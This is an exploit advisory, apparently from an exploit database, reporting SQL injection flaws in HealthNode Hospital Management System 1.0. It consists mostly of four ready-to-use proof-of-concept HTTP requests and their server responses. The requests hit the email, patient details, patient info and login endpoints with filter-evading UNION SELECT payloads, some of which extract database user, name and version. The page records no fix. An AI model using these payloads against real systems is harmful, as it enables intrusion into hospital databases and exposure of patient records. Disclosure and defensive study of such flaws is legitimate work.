HealthNode Hospital Management System 1.0 - SQL Injection

2019-01-14 19:05:14

# Exploit Title: HealthNode Hospital Management System 1.0 - SQL Injection
# Dork: N/A
# Date: 2019-01-13
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://sunriseservices.biz/
# Software Link: https://codecanyon.net/item/healthnode-hospital-management-system/22368747
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC:
# 1)
# http://localhost/[PATH]/email.php
#

POST /[PATH]/email.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 105
Cookie: PHPSESSID=10ntro6maq17s705ip0e3a9je6
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
username=' /*!11111uniOn*/ /*!11111selEct*/ 1,2,3,4,5,6,7-- -&submit=: undefined
HTTP/1.1 200 OK
Date: Sun, 13 Jan 2019 18:50:38 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 61
Connection: close
Content-Type: text/html; charset=UTF-8

# POC:
# 2)
# http://localhost/[PATH]/dashboard/Patient/patientdetails.php?id=[SQL]
#

GET /[PATH]/dashboard/Patient/patientdetails.php?id=-11-11' /*!11111UNION*/ /*!11111SELECT*/ 1,2,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),4,5,6,7,8,9,10,11,12-- - HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=10ntro6maq17s705ip0e3a9je6
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Date: Sun, 13 Jan 2019 18:59:44 GMT
Server: Apache
Content-Length: 26036
Connection: close
Content-Type: text/html; charset=UTF-8


# POC:
# 3)
# http://localhost/[PATH]/dashboard/Patient/info.php?id=[SQL]
#

GET /[PATH]/dashboard/Patient/info.php?id=-11' /*!11111UNION*/ /*!11111SELECT*/ 1,2,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),4,5,6,7,8,9,10,11,12-- - HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=10ntro6maq17s705ip0e3a9je6
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Date: Sun, 13 Jan 2019 18:57:32 GMT
Server: Apache
Content-Length: 26405
Connection: close
Content-Type: text/html; charset=UTF-8

# POC:
# 4)
# http://localhost/[PATH]//
#

POST /[PATH]/ HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 194
Cookie: PHPSESSID=10ntro6maq17s705ip0e3a9je6
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
username=-' /*!11111uniOn*/ /*!11111seLect*/ 1,2,3,4,5,6,7-- Ver&password='&login=: undefined
HTTP/1.1 200 OK
Date: Sun, 13 Jan 2019 18:46:13 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 61
Connection: close
Content-Type: text/html; charset=UTF-8

Fixes

No fixes

In order to submit a new fix you need to be registered.